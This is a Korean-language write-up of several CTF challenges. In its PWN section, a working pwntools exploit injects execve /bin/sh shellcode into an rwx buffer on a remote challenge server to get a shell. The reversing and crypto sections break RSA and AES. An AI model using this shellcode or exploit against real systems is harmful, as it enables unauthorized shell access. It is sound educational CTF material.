PWN
secret
이 문제의 바이너리를 확인해보면
64비트기반에 부분적인 RELRO와 NX 보호기법이 적용되어 있습니다.
IDA로 정적분석을 해보면
다음과같은 main함수와
flag함수가 정의되어 있습니다.
처음에는 서버에서 동작하는 ELF에는 플래그값이 그대로 있는줄알고 이 flag함수로 리턴하기위해
가젯을 구성해봤지만, 서버에서도 똑같은 페이크 플래그를 출력했습니다.
그 다음으로는 적용되어있는 보호기법들을 고려해서 ROP공격을 시도해봤지만
rdx값이 비정상적으로 높게 설정되어있어서 실패했습니다.
그래서 ret2csu라고하는 기법으로 rdx도 컨트롤하려고 했지만, 입력받는 길이에 비해서
페이로드가 너무 길어지기 때문에 실패했습니다.
그래서 어떤방법이 있을지 자세히 분석해봤는데, 처음에 buf포인터가 가리키는 주소에 mmap함수를 사용해서
고정된 주소에 rwx권한을 부여한뒤 0x1000바이트를 할당한것을 보고
처음에는 NX보호기법으로 인해서 고려하지 않았었지만
"혹시 이 버퍼에 쉘코드를 삽입한뒤 리턴주소를 고정된 주소로 변조하면 쉘코드를 실행시킬수 있지 않을까" 라는 생각을 기반으로 공격코드를 작성해서 서버의 쉘을 획득했습니다.
from pwn import *
#context.log_level = 'debug'
#p = process("./chall")
#raw_input('1')
p = remote("35.225.89.145",9999)
buf = 0x1337000
payload = b'\x48\x31\xd2\x48\x31\xf6\x48\x31\xc0\x48\x31\xff\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x48\x89\xe6\xb0\x3b\x0f\x05'
payload += b'A'*133
payload += p64(buf)
p.sendafter(b"?",payload)
p.sendafter(b'! \n',b'A')
p.sendline()
p.interactive()
[+] 64비트 기반 execve 쉘코드
BITS 64
xor rdx, rdx
xor rsi, rsi
xor rax, rax
xor rdi, rdi
push rdx
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
push rdx
mov rsi, rsp
mov al, 59
syscall
REV
OP3N TH3 S4F3
간단한 자바 코드 분석 문제입니다.
주어진 자바코드를 열어보면
import java.io.*;
import java.util.*;
public class safe {
public static void main(String args[]) throws IOException {
BufferedReader keyboard = new BufferedReader(new InputStreamReader(System.in));
Base64.Encoder encoder = Base64.getEncoder();
String encodedkey = "";
String key = "";
int i = 0;
boolean isOpen;
while (i < 3) {
System.out.print("Enter password for the safe: ");
key = keyboard.readLine();
encodedkey = encoder.encodeToString(key.getBytes());
System.out.println(encodedkey);
isOpen = openSafe(encodedkey);
if (!isOpen) {
System.out.println("You have " + (2 - i) + " attempt(s) left");
i++;
continue;
}
break;
}
}
public static boolean openSafe(String password) {
String encodedkey = "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz";
if (password.equals(encodedkey)) {
System.out.println("Sesame open");
return true;
}
else {
System.out.println("Password is incorrect\n");
return false;
}
}
}
위와 같은 코드가 나오는데, 입력값을 base64 인코더로 인코딩한뒤 코드내에 하드코딩된 키값과 base64값을 비교해서
같다면 Sesame open을 출력합니다.
base64 키값을 디코딩 해보면
다음과 같이 손쉽게 플래그값을 얻어냈습니다.
Hidden in Calls
이번 문제는 ELF바이너리 분석 문제입니다.
main 함수는 위와같이 구현되어있습니다.
특정 함수를 통해서 플래그값이 생성되고 그 값과 비교해서 같으면 Correct! 를 출력하는 프로그램입니다.
gdb에서 분석해보면 생성된 플래그값을 알수 있겠지만 귀찮으므로
그냥 연산과정 2개 분석해서 플래그 생성로직을 작성했습니다.
#constants = [0x00000040,0x00000041,0x00000042]
#for i in range(3):
# constants[i] = ((4 * constants[i]) | (constants[i] >> 6)) ^ 0x42
# print(hex(constants[i]))
constants = [0x43,0x01,0x00,0x00,0x47,0x01,0x00,0x00,0x4b,0x01,0x00,0x00]
raw = [0x22,0x24,0x28,0x26,0x34,0x38,0x27,0x22,0x25,0x2a,
0x22,0x2f,0x38,0x70,0x39,0x77,0x24,0x7a,0x2d,0x71,
0x14,0x72,0x72,0x14,0x27,0x77,0x3b,0x70,0x3a,0,0,0]
for i in range(29):
print(chr(constants[4 * (i % 3)] ^ raw[i]),end='')
주석처리 되어있는 첫번째 코드로 constants 배열값을 계산한뒤 적절한 사이즈로 바꿔주고
두번째 코드를 실행시키면 플래그를 획득할수 있습니다.
Crypto
BabyRSA
이 문제에서 주어진 코드입니다.
이 코드와 n,e,p-q,ct 값이 아웃풋으로 주어집니다.
여기서 주어진 값들을 이용해서 개인키값을 유출해서 ct값을 복호화하는것이 목표입니다.
주어진 값들로 어떻게 개인키를 유출시킬수 있을지 생각을 해본결과
p-q값을 가지고 방정식을 잘 풀어보면 p or q 값을 도출해낼수 있다는 사실을 알게됐습니다.
(p-q)**2 = p**2 - 2*p*q + q**2
(p-q)**2 + 4*p*q = (p+q)**2
sqrt((p+q)**2) = p+q
(p+q) - (p - q) = 2*q
위와같은 과정으로 2*q값을 도출해낼수 있고 n값과 e값은 주어졌으므로 p값을 구하고 개인키값을 구해서
암호화된 데이터를 아래와 같이 복호화할수 있습니다.
import math
from Crypto.Util.number import long_to_bytes
n = 120211619263616236298108054451684811549167405488154048118613479097538212123439278958749850788456486130459921261479160697183564689536742718581366194702601689973370740703125768516837976703581143527883794225756595687076600492018212521600371847898150053889836765207578253518598285976484104887880950561808521916679197382617696321467107373431971011373406371769851098395347805410741889471883208540979158705736076370849489571898301719336081281250459806937088042544179685474271644553656041690355345350895322035528438597825743361231683611571562425345576939948394693751109002006622744029174073300371041757597743
e = 65537
p_q = 528989467948410196863390216982434839446065049018991391619847719546140590283621291827790641767850492372679949686708060210757050785932550142934394045462407842475667376210538486592621845556746285069986987193452715917322575801203720535641800252924680451436689922067397633246680263146108727676454084927458
ct = 76663190438681250473709026684465526947612824431192371399103517084961959453174199265647481880581018624397659535180930586809301553845562676895475299270525032101833489126984669475875574979645241208457339920700648442886217278073893221182554078466128797399609349080329041980545214278635388189106891861167241913745734600460518835545978594463009757557109918292226967792590695327504593194527717826459850421410320502694608298857336416167549201021052730621756780309240518460969399163014527244759555735903127916404397996247838371487952144501105345432488561975320919956805984647322316425023426403578066943806771
tmp = (p_q ** 2) + (4 * n)
q2 = math.isqrt(tmp) - p_q
q = q2 // 2
print(q)
p = n // q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
flag = pow(ct,d,n)
print(long_to_bytes(flag))
Winner winner
이 문제는 제목에서 유추할수 있듯이 RSA 위너공격을 해야하는 문제인것으로 파악됩니다.
from Crypto.Util.number import bytes_to_long
from secrets import p, q, flag
n = p * q
e = 138717416281337456692344455554891152247979574963839091521068849245832916684241545687054126952507149696814492808454926496019498942776996020057244451765709930826435581912376373047603435911804572092248095687948006408704452452256665944166346933887797474711181206505224728485212472995938850988624267301780146970431846042161484072392886829360818890732741950878725428152877001088273188939463216251763263843902956942160456673351898835449942075351850191418546600584698773068083458447115589186227617300982080578801411743675190283374770927582403134122446145359617714684008991806559599732081315258849269495501827
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
pt = bytes_to_long(flag)
ct = pow(pt, e, n)
print(f'n = {n}')
print(f'e = {e}')
print(f'ct = {ct}')
문제 코드를 보면 알수있다시피 e값이 비정상적으로 높은 값으로 초기화된 상태로 암호화가 진행됐습니다.
그러므로 RSA 위너공격을 하는 코드를 가져와서 main 부분만 아래와같이 수정해서 코드를 실행시키면
플래그를 얻을수 있습니다.
if __name__ == "__main__":
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
n = 147695825873258199075309315014079443936086332837178250613274696838114905688236190451470147800918349214195035282891570360210898000592369649486597168614329853219598993273421509047977797008168968025564056199032515406736798948561048292476945071024301402247869004043825355544373600364624400951703065712509703991387235358817700171631149589377493407337127440336067207739807995868819073922238789109634380541865675900696065061443898050487798987046425304452427508409865302367453064543439584974205069130145255332389986798217364903361079863215463518779949872986076073243793794093151729378782051087439601217312467
e = 138717416281337456692344455554891152247979574963839091521068849245832916684241545687054126952507149696814492808454926496019498942776996020057244451765709930826435581912376373047603435911804572092248095687948006408704452452256665944166346933887797474711181206505224728485212472995938850988624267301780146970431846042161484072392886829360818890732741950878725428152877001088273188939463216251763263843902956942160456673351898835449942075351850191418546600584698773068083458447115589186227617300982080578801411743675190283374770927582403134122446145359617714684008991806559599732081315258849269495501827
d = hack_RSA(e,n)
c = 28687321513512720229641020267062143933513049102750816891659892149280866327732202523267134530465205269598978157637398029355743402151270896658968465159616111025494757501743377076328250133926005444027755945805698078947476552993585452925428432544547215158377737915959018942303777087794933239163055875489936403178270829853103307466424490515113597381990437211289379794880760878804904618538863135147617798449764861900246759044612639917391048960840770641139180883550797042444366092240121351517070092705174245047452905172992379998647473236449538678498363170182642665915051840825042946518301279422637159205395
print("d = " + str(d))
m = pow(c,d,n)
print(long_to_bytes(m))
Key In Shark
이 문제는 네트워크 패킷 파일을 분석해야하는 문제입니다.
Wireshark로 패킷을 분석해보면
TCP통신으로 여러가지 패킷이 왔다간것을 확인할수 있습니다.
분석해본 결과 첫번째 패킷에는 접속한 리눅스 서버에서 각종 명령어를 사용해서 디렉토리 탐색과
public_key.txt에 대한 정보를 획득하고 public_key.txt를 가져온 패킷이 보이고
나머지 패킷들은 리눅스 서버에서 접속한 사용자로부터 보낸 내용들입니다.
나머지 패킷들 중에서 public_key.txt 를 확인할수 있는데
확인해보면 이런내용이 들어있는것을 볼수 있습니다.
저는 예전에 이런류의 문제를 한번 푼적이 있어서 이미 알고있지만, PEM 포맷에 대해서 모르는 사람이라면
이 문제를 푸는데 상당히 애먹었을거라고 생각합니다.
파일 이름은 public_key.txt라고 되어있지만 형식으로 따지고보면 private_key.pem이라고 이름이 지어져있어야
한다고 생각합니다.
암튼, 이 파일은 공개키가 아닌 개인키를 담고있는 파일이므로 이 파일의 내용을 PEM형식으로 저장한뒤
프로그래밍을 통해서 각종 키값을 도출해내면 됩니다.
저는 작년에 만들었던 RSA 관련 도구가 있어서 이 도구를 사용해서 PEM파일에서 키값을 추출했습니다.
https://github.com/name2965/RSA-Utility
n = 20998722636619435450883507581135356285399501906107835429565323621086685415452993019767230032544207868706496567881474928446695610417900394260801222056780953080245713634460800531307520589207642382108237801966024230754506608383879833168572293697848014302926907479262664813672741626130677818036947207154898783009775496902860573074734060264015965988428224215672253615198660395637801642977026406356565900374986416441107290164339809766309564566179979303666443861383624127052266456628730366567504137776658938176921864035236454694915139806707953643558716903576657892096225731595274481909364787813069820829912278916799086957933
e = 65537
p = 161876801288335233513999612335740119708117824183662996743337331909739216111169022673590315976670769705085060204685390258247568773570933692283253497725206203396697326132144466779849472294254476227560634877221826793109416734893349397110630033998299236867912215423795511062779279528227319991822216215488201630409
q = 129720395198670098563083480860610045308419121467335708761915261579921129492151504676105910947326279731557286483058391793281990761083041748530686992062073292103129011020118040948876804911421282551363442226307602614083234150869731175922612240856944956429951256691192415069517246315685401984581483906870439439237
d = 11875683290410954965157793688865844414026384159299034322007555345712451107593416440860164699730206149896052440483375600774346187718831503011769481274890966094972719687316403114155087097645483577985866394434727285177610097092331387408028495256374853931728380896461409717472061516866921626679912282923984443802180619477806886412466823349546946623722946991410467247095174737611100737688008830119026161966331536363481524406313306547760900048651598443211700031506582807022897608805343618414032723869004082597729373862654518596581264466879789668217284764925621821753551410430403297424680074791718246363221416366894131351809
u = 51046333646126334787579878382468664766009621187488503886873362132499946199697905390017105233025204523344403098601433159662880175873709077178348455477773981652776766824455113910343145407599798626366478259486436494686142971104080098134872350486140123304844999449034891326608552429734148971519319939919984012337
이제 주어진 암호화 데이터를 적절하게 변환해서 추출한 개인키값으로 복호화해주면 됩니다.
import base64
from Crypto.Util.number import long_to_bytes,bytes_to_long
c = bytes_to_long(base64.b64decode('Bki34o/sxEZ9coNngIIXZZJ1ItgSLW3mQ3v7m+ddq3zNKG2bcPtmRgk6dMhZk6z3qRC+D8wHUzxencg0iJ48P4qnmyQbaN8O9zGnJyRxKIa46od5nFmMIoSuiRnQT/nudP+Xp854Q5F2elpGphwRJ7e+uEBhG00Q5mEyKLOUs1Xy+DDjUWYxUM8LoBGA2ivF3i6o+QeqfgbqphE4t7TGgvrm7fI+E2ouKuSs43NYyKyL7JcmtDKIgy+MUC4PfErcGLGRTjL1uxSn+ysA+kaj/StaKrdo+aklXnvTf+b77mwWbo0xTvW8A2cEupHlLD+/OBqby8kjemespyN31JCQCQ=='))
d = 11875683290410954965157793688865844414026384159299034322007555345712451107593416440860164699730206149896052440483375600774346187718831503011769481274890966094972719687316403114155087097645483577985866394434727285177610097092331387408028495256374853931728380896461409717472061516866921626679912282923984443802180619477806886412466823349546946623722946991410467247095174737611100737688008830119026161966331536363481524406313306547760900048651598443211700031506582807022897608805343618414032723869004082597729373862654518596581264466879789668217284764925621821753551410430403297424680074791718246363221416366894131351809
n = 20998722636619435450883507581135356285399501906107835429565323621086685415452993019767230032544207868706496567881474928446695610417900394260801222056780953080245713634460800531307520589207642382108237801966024230754506608383879833168572293697848014302926907479262664813672741626130677818036947207154898783009775496902860573074734060264015965988428224215672253615198660395637801642977026406356565900374986416441107290164339809766309564566179979303666443861383624127052266456628730366567504137776658938176921864035236454694915139806707953643558716903576657892096225731595274481909364787813069820829912278916799086957933
flag = long_to_bytes(pow(c,d,n))
print(flag)
그러면 아래와같이 나오는데 처음에는 잘못 복호화한줄 알았지만 잘보니 맨 마지막에 플래그 문자열이 보입니다.
이 문자열에 플래그형식을 씌우면 됩니다.
Symmetric-Problems
이 문제에서는 클라이언트와 서버 프로그램의 코드가 주어집니다.
import socket
from Crypto.Cipher import AES
s = socket.socket()
port = 12344
s.connect(('127.0.0.1', port))
def padding(message):
return message + ' ' * (16 - len(message) % 16)
print (s.recv(1024).decode())
key = s.recv(1024)
IV = s.recv(1024)
print(key, IV)
# encDec = AES.new(key, AES.MODE_CBC, IV)
while True:
encDec = AES.new(key, AES.MODE_CBC, IV)
qwerty = str.encode(padding(input('>>').strip()))
s.send(encDec.encrypt(qwerty))
encDec = AES.new(key, AES.MODE_CBC, IV)
message = encDec.decrypt(s.recv(1024)).decode().strip()
print (message)
s.close()
import socket, random, os, time
from Crypto.Cipher import AES
key = os.urandom(16)
IV = os.urandom(16)
mode = AES.MODE_CBC
def padding(message):
return message + ' ' * (16 - len(message) % 16)
s = socket.socket()
print ("Socket successfully created")
port = 12344
s.bind(('', port))
print ("socket binded to %s" %(port))
s.listen(5)
print ("socket is listening")
while True:
c, addr = s.accept()
print ('Got connection from', addr )
c.send('Thank you for connecting'.encode())
time.sleep(1)
c.send(key)
time.sleep(1)
c.send(IV)
while True:
encDec = AES.new(key, AES.MODE_CBC, IV)
message = encDec.decrypt(c.recv(1024)).decode().strip()
print (message)
encDec = AES.new(key, AES.MODE_CBC, IV)
qwerty = str.encode(padding(input('>>').strip()))
c.send(encDec.encrypt(qwerty))
c.close()
break
첫번째 코드는 클라이언트, 두번째 코드는 서버 입니다.
위의 코드를 살펴보면 서버에서 랜덤한 키값과 IV값을 생성해서 보낼 패킷데이터를
AES암호화를 거쳐서 12344 포트로 클라이언트에 보냅니다.
클라이언트에서는 받은 키값과 IV값을 기반으로 서버에 데이터를 전송할때 암호화를 하고
서버로부터 받은 데이터는 복호화해서 서로 통신하는 구조입니다.
패킷을 분석해보면 처음에는 Thank you for connecting 문자열 이후로는 유의미한 문자열이 안보입니다.
파란색 데이터는 서버, 붉은색 데이터는 클라이언트 데이터 입니다.
위에 서버 코드를 보면 처음 문자열을 보낸뒤 키값과 IV값을 16자리 이진데이터로 전송하므로
이 값을 기반으로 나머지 패킷데이터들을 AES 복호화하면 서로 주고받은 데이터를 확인해볼수 있습니다.
패킷을 Raw형식으로 보면 16진수로 데이터를 볼수 있으므로 이 기능을 사용해서 데이터를 가져온뒤
bytes형식으로 변환해서 AES 복호화를 진행하면 됩니다.
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
key = b'\xd2\x44\x72\xf9\x99\xaf\xc6\xa2\xb9\x58\x5d\xba\x60\x5f\xc9\x58'
IV = b'\xc1\xed\x38\x37\x0e\xdc\xd5\x7a\x95\x69\x71\x73\x6c\xcb\xa6\xc1'
def dec(data):
encDec = AES.new(key, AES.MODE_CBC, IV)
message = encDec.decrypt(data).decode().strip()
print (message)
arr = ['7ef210015fc1cb3b0e5f0e393bc828ce','793ad4030381f03078afe60ff5b1a3b2','d5b02c3738bcd581b9b3bfc147ba20a0a4b37fc9705a090f17d3dfc09dcae8f2','7d91d847bf15b70615ee2cc659103231','bbc946a812d274508ccbd3078cb31809c56da44d45625e618250ff39b53b4aad','2dcfbe4e8717a5734b4e661889b32d27','88323abb3bc3e9b7ca9c503a9ce233c3d8f2b8619a1058860ea2763f577c61f280bb79d729022642e43a150c5be69ca8761921407aa9cb178648532e66082bfafccedb140efab9e4d5b8e1ab904933b6a1aaa7a6398df031ef8c76b8f84c603a98f80d0a1051fbc7e4100017cc7e0f7b','8df9bb0802f2d11f7f4903c111bdd0d39ee8e43753b2f4037acd7af94637a8bc15c565a076f3ea8904ffa72ca655072ab90aa85089c8ba1e3f1bf162e92407cbe9e46b5ca3b303e02fe65ae75ab324ceebcb9ecebb0b2bcc6db35f532d1dc061e5e3e1800572c570730861d8f61dd66f2ffffeb2d75fac80bb70b6d71a6ed9d7e6efa75bb47dcaea217e3a179a5ca6a8','ea959145d1a12f55c84d39fb120d947755dca92518b2d764f8d2ab6d66abb2dd9193e17bf01f3f1660807f862cbfb672f5528eca136bce9b8bbfd873e62a9b325a75a39150240aca5d6a1de12c371004735efcba1c218c1cc25983b23c176586fcc157e04d011219f261450266f87755e5b14feb12038d08e07ddc74055d40787f7a547120014b6f3557fb688973e1c1','7e25edc2515ffc8f53deaa84b971469552c9f9e904a1240859207a5b3235a73195359830a09b429c1eacfab7050eb993','d24fbeefa4201e4c353bd046de3176726a52bfd05b2b1db2f93a8e8e7dd43ac83b44b1b778fd2223945d90b160432df6','afb536069a9cda40ed919ba352b18bcf17b9dbee7f6f43bccddbed7b543a966c','ef4c7b5b173f011036208dc3a2ec122e3b56212b21d2086165fb6abb4a2fbc7d','d38bf62a6c54a8586ed19835b67be7657950a84f42c21c15eba886760afc6ee1954d8762613a95ff7dc7bfb0f9bf2181618eb440022f50fb0bd3de75ceb55352']
for i in arr:
data = long_to_bytes(int(i,16))
dec(data)
이 코드를 실행하면 아래와 같이 성공적으로 평문데이터를 확인할수 있습니다.
Zigzag Train
이 문제를 처음 봤을때는 이게 도데체 뭔지 몰라서 못풀었는데
알고보니 레일-펜스 암호라는 전치 암호화 기법이 사용된 문제였습니다.
여기서 주어진 암호문은 아래와 같은데
W0F3DHD33386N3335HN314NR7CND
이 암호문을 온라인 복호화 사이트에서 복호화 해보면
이런식으로 간단하게 복호화를 할수 있습니다.
여기에 플래그 형식을 씌워서 제출하면 됩니다.
'CTF' 카테고리의 다른 글
[DEF CON CTF Qualifier 2023] Live CTF : What a maze meant (0) | 2023.05.31 |
---|---|
2023 TAMUctf write-up (0) | 2023.05.15 |
[2023 FooBar CTF] Write-up (0) | 2023.03.14 |
2022 Hacking Land CTF write-up (0) | 2022.08.01 |
[Reversing] Baby_Keylogger (0) | 2022.07.09 |